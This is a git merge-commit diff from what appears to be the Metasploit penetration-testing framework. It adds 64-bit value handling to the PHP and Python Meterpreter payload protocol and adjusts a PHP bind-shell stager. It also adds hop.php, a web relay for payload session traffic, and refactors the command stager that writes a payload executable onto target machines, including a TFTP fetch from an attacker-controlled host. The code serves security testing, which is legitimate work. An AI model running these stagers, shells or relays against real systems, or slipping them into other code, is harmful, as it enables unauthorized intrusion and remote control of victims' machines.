Merge branch 'master' into staging/electro-release

Conflicts:
	Gemfile
	Gemfile.lock
bug/bundler_fix
David Maloney 2014-07-07 16:41:23 -05:00
commit aeda74f394
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
73 changed files with 2802 additions and 578 deletions

View File

@ -6,10 +6,10 @@
##
# General
##
define("TLV_TYPE_HANDLE", TLV_META_TYPE_UINT | 600);
define("TLV_TYPE_HANDLE", TLV_META_TYPE_QWORD | 600);
define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601);
define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_UINT | 630);
define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_UINT | 631);
define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_QWORD | 630);
define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_QWORD | 631);
##
# Fs
@ -65,7 +65,7 @@ define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2));
define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3));
# Registry
define("TLV_TYPE_HKEY", TLV_META_TYPE_UINT | 1000);
define("TLV_TYPE_HKEY", TLV_META_TYPE_QWORD | 1000);
define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY);
define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001);
define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002);
@ -90,12 +90,12 @@ define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102);
define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
# Process
define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_UINT | 2000);
define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2000);
define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001);
define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002);
define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003);
define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004);
define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_UINT | 2005);
define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2005);
define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006);
define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007);
define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008);
@ -109,16 +109,16 @@ define("TLV_TYPE_PROCESS_ARGUMENTS", TLV_META_TYPE_STRING | 2305);
define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400);
define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401);
define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402);
define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_UINT | 2403);
define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_UINT | 2404);
define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_QWORD | 2403);
define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_QWORD | 2404);
define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405);
define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406);
define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500);
define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502);
define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510);
define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_UINT | 2511);
define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_UINT | 2512);
define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_QWORD | 2511);
define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_QWORD | 2512);
define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513);
define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540);
@ -137,7 +137,7 @@ define("TLV_TYPE_DESKTOP", TLV_META_TYPE_STRING | 3002);
# Event Log
##
define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000);
define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_UINT | 4001);
define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_QWORD | 4001);
define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002);
define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003);

View File

@ -252,6 +252,7 @@ TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_QWORD = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
@ -284,10 +285,10 @@ TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
##
# General
##
TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600
TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
##
# Fs
@ -346,7 +347,7 @@ TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
##
# Registry
##
TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000
TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
@ -376,12 +377,12 @@ DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
##
# Process
##
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000
TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005
TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
@ -397,16 +398,16 @@ TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512
TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
@ -425,7 +426,7 @@ TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002
# Event Log
##
TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001
TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003

View File

@ -125,6 +125,7 @@ define("TLV_META_TYPE_STRING", (1 << 16));
define("TLV_META_TYPE_UINT", (1 << 17));
define("TLV_META_TYPE_RAW", (1 << 18));
define("TLV_META_TYPE_BOOL", (1 << 19));
define("TLV_META_TYPE_QWORD", (1 << 20));
define("TLV_META_TYPE_COMPRESSED", (1 << 29));
define("TLV_META_TYPE_GROUP", (1 << 30));
define("TLV_META_TYPE_COMPLEX", (1 << 31));
@ -655,6 +656,11 @@ function tlv_pack($tlv) {
if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
$ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0");
}
elseif (($tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
$hi = ($tlv['value'] >> 32) & 0xFFFFFFFF;
$lo = $tlv['value'] & 0xFFFFFFFF;
$ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo);
}
elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
$ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']);
}
@ -686,10 +692,17 @@ function tlv_unpack($raw_tlv) {
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
$tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len']));
# PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing
# NULL, so catch that here
$tlv['value'] = str_replace("\0", "", $tlv['value']);
}
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
$tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len']));
}
elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
$tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len']));
$tlv['value'] = $tlv['hi'] << 32 | $tlv['lo'];
}
elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
$tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len']));
}
@ -911,7 +924,8 @@ function read($resource, $len=null) {
$r = Array($resource);
my_print("Calling select to see if there's data on $resource");
while (true) {
$cnt = stream_select($r, $w=NULL, $e=NULL, 0);
$w=NULL;$e=NULL;$t=0;
$cnt = stream_select($r, $w, $e, $t);
# Stream is not ready to read, have to live with what we've gotten
# so far
@ -1147,7 +1161,8 @@ add_reader($msgsock);
# Main dispatch loop
#
$r=$GLOBALS['readers'];
while (false !== ($cnt = select($r, $w=null, $e=null, 1))) {
$w=NULL;$e=NULL;$t=1;
while (false !== ($cnt = select($r, $w, $e, $t))) {
#my_print(sprintf("Returned from select with %s readers", count($r)));
$read_failed = false;
for ($i = 0; $i < $cnt; $i++) {

View File

@ -54,6 +54,7 @@ TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_QWORD = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
@ -150,6 +151,8 @@ def packet_enum_tlvs(pkt, tlv_type = None):
val = str(val.split(NULL_BYTE, 1)[0])
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
val = struct.unpack('>Q', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
val = bool(struct.unpack('b', val)[0])
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
@ -175,6 +178,8 @@ def tlv_pack(*args):
data = ""
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
data = struct.pack('>IIQ', 16, tlv['type'], tlv['value'])
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:

View File

@ -9,17 +9,20 @@ if (is_callable('stream_socket_server')) {
$srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}");
if (!$srvsock) { die(); }
$s = stream_socket_accept($srvsock, -1);
fclose($srvsock);
$s_type = 'stream';
} elseif (is_callable('socket_create_listen')) {
$srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$res) { die(); }
$s = socket_accept($srvsock);
socket_close($srvsock);
$s_type = 'socket';
} elseif (is_callable('socket_create')) {
$srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$res = socket_bind($srvsock, $ipaddr, $port);
if (!$res) { die(); }
$s = socket_accept($srvsock);
socket_close($srvsock);
$s_type = 'socket';
} else {
die();

68
data/php/hop.php Normal file
View File

@ -0,0 +1,68 @@
<?php
$magic = 'TzGq';
$tempdir = sys_get_temp_dir() . "/hop" . $magic;
if(!is_dir($tempdir)){
mkdir($tempdir); //make sure it's there
}
//get url
$url = $_SERVER["QUERY_STRING"];
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr
//Looks for a file with a name or contents prefix, if found, send it and deletes it
function findSendDelete($tempdir, $prefix, $one=true){
if($dh = opendir($tempdir)){
while(($file = readdir($dh)) !== false){
if(strpos($file, $prefix) !== 0){
continue;
}
readfile($tempdir."/".$file);
unlink($tempdir."/".$file);
if($one){
break;
}
}
}
}
//handle control
if($url === "/control"){
if($_SERVER['REQUEST_METHOD'] === 'POST'){
//handle data for payload - save in a "down" file or the "init" file
$postdata = file_get_contents("php://input");
if(array_key_exists('HTTP_X_INIT', $_SERVER)){
$f = fopen($tempdir."/init", "w"); //only one init file
}else{
$prefix = "down_" . bin2hex($_SERVER['HTTP_X_URLFRAG']);
$f = fopen(tempnam($tempdir,$prefix), "w");
}
fwrite($f, $postdata);
fclose($f);
}else{
findSendDelete($tempdir, "up_", false);
}
}else if($_SERVER['REQUEST_METHOD'] === 'POST'){
//get data
$postdata = file_get_contents("php://input");
//See if we should send anything down
if($postdata === 'RECV'){
findSendDelete($tempdir, "down_" . bin2hex($url));
$fname = $tempdir . "/up_recv_" . bin2hex($url); //Only keep one RECV poll
}else{
$fname = tempnam($tempdir, "up_"); //actual data gets its own filename
}
//find free and write new file
$f = fopen($fname, "w");
fwrite($f, $magic);
//Little-endian pack length and data
$urlen = strlen($url);
fwrite($f, pack('V', $urlen));
fwrite($f, $url);
$postdatalen = strlen($postdata);
fwrite($f, pack('V', $postdatalen));
fwrite($f, $postdata);
fclose($f);
//Initial query will be a GET and have a 12345 in it
}else if(strpos($url, "12345") !== FALSE){
readfile($tempdir."/init");
}

View File

@ -5,31 +5,72 @@ require 'msf/core/exploit/exe'
module Msf
###
#
# This mixin provides an interface to generating cmdstagers
#
###
module Exploit::CmdStager
include Msf::Exploit::EXE
# Constant for stagers - used when creating an stager instance.
STAGERS = {
:bourne => Rex::Exploitation::CmdStagerBourne,
:debug_asm => Rex::Exploitation::CmdStagerDebugAsm,
:debug_write => Rex::Exploitation::CmdStagerDebugWrite,
:echo => Rex::Exploitation::CmdStagerEcho,
:printf => Rex::Exploitation::CmdStagerPrintf,
:vbs => Rex::Exploitation::CmdStagerVBS,
:vbs_adodb => Rex::Exploitation::CmdStagerVBS,
:tftp => Rex::Exploitation::CmdStagerTFTP
}
# Constant for decoders - used when checking the default flavor decoder.
DECODERS = {
:debug_asm => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_asm"),
:debug_write => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_write"),
:vbs => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"),
:vbs_adodb => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb")
}
attr_accessor :stager_instance
attr_accessor :cmd_list
attr_accessor :flavor
attr_accessor :decoder
attr_accessor :exe
# Creates an instance of an exploit that uses an CMD Stager and register the
# datastore options provided by the mixin.
#
# Creates an instance of an exploit that uses an CmdStager overwrite.
#
# @param info [Hash] Hash containing information to initialize the exploit.
# @return [Msf::Module::Exploit] the exploit module.
def initialize(info = {})
super
@cmd_list = nil
@stager_instance = nil
flavors = module_flavors
flavors = STAGERS.keys if flavors.empty?
flavors.unshift('auto')
register_advanced_options(
[
OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]),
OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.'])
], self.class)
end
# Executes the command stager while showing the progress. This method should
# be called from exploits using this mixin.
#
# Execute the command stager while showing the progress
#
# @param opts [Hash] Hash containing configuration options. Also allow to
# send opts to the Rex::Exploitation::CmdStagerBase constructor.
# @option opts :flavor [Symbol] The CMD Stager to use.
# @option opts :decoder [Symbol] The decoder stub to use.
# @option opts :delay [Float] Delay between command executions.
# @return [void]
def execute_cmdstager(opts = {})
cmd_list = generate_cmdstager(opts)
self.cmd_list = generate_cmdstager(opts)
stager_instance.setup(self)
begin
execute_cmdstager_begin(opts)
sent = 0
@ -51,47 +92,228 @@ module Exploit::CmdStager
end
execute_cmdstager_end(opts)
ensure
stager_instance.teardown(self)
end
end
#
# Generates a cmd stub based on the current target's architecture
# and operating system.
# and platform.
#
# @param opts [Hash] Hash containing configuration options. Also allow to
# send opts to the Rex::Exploitation::CmdStagerBase constructor.
# @option opts :flavor [Symbol] The CMD Stager to use.
# @option opts :decoder [Symbol] The decoder stub to use.
# @param pl [String] String containing the payload to execute
# @return [Array] The list of commands to execute
# @raise [ArgumentError] raised if the cmd stub can not be generated
def generate_cmdstager(opts = {}, pl = nil)
pl ||= payload.encoded
select_cmdstager(opts)
@exe = generate_payload_exe
self.exe = generate_payload_exe(:code => pl)
@stager_instance = create_stager(@exe)
cmd_list = @stager_instance.generate(opts)
self.stager_instance = create_stager
cmd_list = stager_instance.generate(opts_with_decoder(opts))
if (cmd_list.nil? or cmd_list.length < 1)
if (cmd_list.nil? || cmd_list.length < 1)
print_error("The command stager could not be generated")
raise ArgumentError
end
@cmd_list = cmd_list
cmd_list
end
#
# Show the progress of the upload
# Show the progress of the upload while cmd staging
#
# @param total [Float] The total number of bytes to send
# @param sent [Float] The number of bytes sent
# @return [void]
def progress(total, sent)
done = (sent.to_f / total.to_f) * 100
percent = "%3.2f%%" % done.to_f
print_status("Command Stager progress - %7s done (%d/%d bytes)" % [percent, sent, total])
end
# Selects the correct cmd stager and decoder stub to use
#
# Methods to override - not used internally
# @param opts [Hash] Hash containing the options to select te correct cmd
# stager and decoder.
# @option opts :flavor [Symbol] The cmd stager to use.
# @option opts :decoder [Symbol] The decoder stub to use.
# @return [void]
# @raise [ArgumentError] raised if a cmd stager can not be selected or it
# isn't compatible with the target platform.
def select_cmdstager(opts = {})
self.flavor = select_flavor(opts)
raise ArgumentError, "Unable to select CMD Stager" if flavor.nil?
raise ArgumentError, "The CMD Stager '#{flavor}' isn't compatible with the target" unless compatible_flavor?(flavor)
self.decoder = select_decoder(opts)
end
# Returns a hash with the :decoder option if possible
#
# @params opts [Hash] Input Hash.
# @return [Hash] Hash with the input data and a :decoder option when
# possible.
def opts_with_decoder(opts = {})
return opts if opts.include?(:decoder)
return opts.merge(:decoder => decoder) if decoder
opts
end
# Create an instance of the flavored stager.
#
# @return [Rex::Exploitation::CmdStagerBase] The cmd stager to use.
# @raise [NoMethodError] raised if the flavor doesn't exist.
def create_stager
STAGERS[flavor].new(exe)
end
# Returns the default decoder stub for the input flavor.
#
# @param f [Symbol] the input flavor.
# @return [Symbol] the decoder.
# @return [nil] if there isn't a default decoder to use for the current
# cmd stager flavor.
def default_decoder(f)
DECODERS[f]
end
# Selects the correct cmd stager decoder to use based on three rules: (1) use
# the decoder provided in input options, (2) use the decoder provided by the
# user through datastore options, (3) select the default decoder for the
# current cmd stager flavor if available.
#
# @param opts [Hash] Hash containing the options to select te correct
# decoder.
# @option opts :decoder [String] The decoder stub to use.
# @return [String] The decoder.
# @return [nil] if a decoder can not be selected.
def select_decoder(opts = {})
return opts[:decoder] if opts.include?(:decoder)
return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank?
default_decoder(flavor)
end
# Selects the correct cmd stager to use based on three rules: (1) use the
# flavor provided in options, (2) use the flavor provided by the user
# through datastore options, (3) guess the flavor using the target platform.
#
# @param opts [Hash] Hash containing the options to select te correct cmd
# stager
# @option opts :flavor [Symbol] The cmd stager flavor to use.
# @return [Symbol] The flavor to use.
# @return [nil] if a flavor can not be selected.
def select_flavor(opts = {})
return opts[:flavor].to_sym if opts.include?(:flavor)
unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto'
return datastore['CMDSTAGER::FLAVOR'].to_sym
end
guess_flavor
end
# Guess the cmd stager flavor to use using information from the module,
# target or platform.
#
# @return [Symbol] The cmd stager flavor to use.
# @return [nil] if the cmd stager flavor can not be guessed.
def guess_flavor
# First try to guess a compatible flavor based on the module & target information.
unless target_flavor.nil?
case target_flavor.class.to_s
when 'Array'
return target_flavor[0].to_sym
when 'String'
return target_flavor.to_sym
when 'Symbol'
return target_flavor
end
end
# Second try to guess a compatible flavor based on the target platform.
return nil unless target_platform.names.length == 1
c_platform = target_platform.names.first
case c_platform
when /linux/i
:bourne
when /osx/i
:bourne
when /unix/i
:bourne
when /win/i
:vbs
else
nil
end
end
# Returns all the compatible stager flavors specified by the module and each
# of it's targets.
#
# @return [Array] the list of all compatible cmd stager flavors.
def module_flavors
flavors = []
flavors += Array(module_info['CmdStagerFlavor']) if module_info['CmdStagerFlavor']
targets.each do |target|
flavors += Array(target.opts['CmdStagerFlavor']) if target.opts['CmdStagerFlavor']
end
flavors.uniq!
flavors.map { |flavor| flavor.to_s }
end
# Returns the compatible stager flavors for the current target or module.
#
# @return [Array] the list of compatible cmd stager flavors.
# @return [Symbol] the compatible cmd stager flavor.
# @return [String] the compatible cmd stager flavor.
# @return [nil] if there isn't any compatible flavor defined.
def target_flavor
return target.opts['CmdStagerFlavor'] if target && target.opts['CmdStagerFlavor']
return module_info['CmdStagerFlavor'] if module_info['CmdStagerFlavor']
nil
end
# Answers if the input flavor is compatible with the current target or module.
#
# @param f [Symbol] The flavor to check
# @returns [Boolean] true if compatible, false otherwise.
def compatible_flavor?(f)
return true if target_flavor.nil?
case target_flavor.class.to_s
when 'String'
return true if target_flavor == f.to_s
when 'Array'
target_flavor.each { |tr| return true if tr.to_sym == f }
when 'Symbol'
return true if target_flavor == f
end
false
end
# Code to execute before the cmd stager stub. This method is designed to be
# overriden by a module this mixin.
#
# @param opts [Hash] Hash of configuration options.
def execute_cmdstager_begin(opts)
end
# Code to execute after the cmd stager stub. This method is designed to be
# overriden by a module this mixin.
#
# @param opts [Hash] Hash of configuration options.
def execute_cmdstager_end(opts)
end
end
# Code to execute each command from the. This method is designed to be
# overriden by a module using this mixin.
#
# @param opts [Hash] Hash of configuration options.
def execute_command(cmd, opts)
raise NotImplementedError
end
end
end

View File

@ -1,21 +0,0 @@
# -*- coding: binary -*-
require 'msf/core/exploit/cmdstager'
module Msf
###
#
# This mixin provides an interface for staging cmd to arbitrary payloads
#
###
module Exploit::CmdStagerBourne
include Msf::Exploit::CmdStager
def create_stager(exe)
Rex::Exploitation::CmdStagerBourne.new(exe)
end
end
end

View File

@ -1,41 +0,0 @@
# -*- coding: binary -*-
require 'msf/core/exploit/cmdstager'
module Msf
###
#
# This mixin provides an interface for staging cmd to arbitrary payloads
#
###
module Exploit::CmdStagerDebugAsm
include Msf::Exploit::CmdStager
def initialize(info = {})
super
register_advanced_options(
[
OptString.new( 'DECODERSTUB', [ true, 'The debug.exe assembly listing decoder stub to use.',
File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_asm")]),
], self.class)
end
def create_stager(exe)
Rex::Exploitation::CmdStagerDebugAsm.new(exe)
end
def execute_cmdstager(opts = {})
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
super
end
def generate_cmdstager(opts = {}, pl = nil)
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
super
end
end
end

View File

@ -1,41 +0,0 @@
# -*- coding: binary -*-
require 'msf/core/exploit/cmdstager'
module Msf
###
#
# This mixin provides an interface for staging cmd to arbitrary payloads
#
###
module Exploit::CmdStagerDebugWrite
include Msf::Exploit::CmdStager
def initialize(info = {})
super
register_advanced_options(
[
OptString.new( 'DECODERSTUB', [ true, 'The debug.exe file-writing decoder stub to use.',
File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_write")]),
], self.class)
end
def create_stager(exe)
Rex::Exploitation::CmdStagerDebugWrite.new(exe)
end
def execute_cmdstager(opts = {})
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
super
end
def generate_cmdstager(opts = {}, pl = nil)
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
super
end
end
end

View File

@ -1,34 +0,0 @@
# -*- coding: binary -*-
require 'msf/core/exploit/cmdstager'
module Msf
####
# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho.
#
# This stager uses the echo's "-e" flag, that enable interpretation of
# backslash escapes, to drop an ELF with the payload embedded to disk.
# The "-e" flag is usually available on linux environments. This stager
# has been found useful on restricted linux based embedded devices, and
# should work on either:
# * Systems with busy box's echo binary somewhere in $PATH.
# * Systems with bash/zsh whose echo builtin supports -en flags.
# * Systems with GNU coreutils echo which supports -en flags.
#
####
module Exploit::CmdStagerEcho
include Msf::Exploit::CmdStager
# Initializes a CmdStagerEcho instance for the supplied payload
#
# @param exe [String] The payload embedded into an ELF
# @return [Rex::Exploitation::CmdStagerEcho] Stager instance
def create_stager(exe)
Rex::Exploitation::CmdStagerEcho.new(exe)
end
end
end

View File

@ -1,27 +0,0 @@
# -*- coding: binary -*-
require 'msf/core/exploit/cmdstager'
module Msf
####
# Allows for staging cmd to arbitrary payloads through the CmdStagerPrintf.
#
# This stager uses a POSIX-conformant printf, that supports the interpretation
# of octal escapes, to drop an ELF with the payload embedded to disk.
####
module Exploit::CmdStagerPrintf
include Msf::Exploit::CmdStager
# Initializes a CmdStagerPrintf instance for the supplied payload
#
# @param exe [String] The payload embedded into an ELF
# @return [Rex::Exploitation::CmdStagerPrintf] Stager instance
def create_stager(exe)
Rex::Exploitation::CmdStagerPrintf.new(exe)
end
end
end

View File

@ -1,67 +0,0 @@
# -*- coding: binary -*-
require 'rex/text'
require 'msf/core/exploit/tftp'
require 'msf/core/exploit/cmdstager'
module Msf
###
#
# This mixin provides an interface for staging cmd to arbitrary payloads
#
###
module Exploit::CmdStagerTFTP
include Msf::Exploit::CmdStager
include Msf::Exploit::TFTPServer
def initialize(info = {})
super
register_advanced_options(
[
OptString.new( 'TFTPHOST', [ false, 'The address of the machine hosting the file via TFTP.' ]),
OptString.new( 'TFTPRSRC', [ false, 'The filename of the TFTP-hosted resource.' ]),
], self.class)
end
def create_stager(exe)
Rex::Exploitation::CmdStagerTFTP.new(exe)
end
def execute_cmdstager(opts = {})
tftphost = datastore['TFTPHOST']
tftphost ||= datastore['SRVHOST']
tftphost ||= datastore['LHOST']
@exe_tag = datastore['TFTPRSRC']
@exe_tag ||= Rex::Text.rand_text_alphanumeric(8)
opts.merge!({ :tftphost => tftphost, :transid => @exe_tag })
super
end
#
# Start the service and register the file
#
def execute_cmdstager_begin(opts)
start_service(@exe_tag, @exe)
end
#
# Stop the service
#
def execute_cmdstager_end(opts)
stop_service
end
def payload_exe
return nil if not @stager_instance
@stager_instance.payload_exe
end
end
end

View File

@ -1,41 +0,0 @@
# -*- coding: binary -*-
require 'msf/core/exploit/cmdstager'
module Msf
###
#
# This mixin provides an interface for staging cmd to arbitrary payloads
#
###
module Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super
register_advanced_options(
[
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")]),
], self.class)
end
def create_stager(exe)
Rex::Exploitation::CmdStagerVBS.new(exe)
end
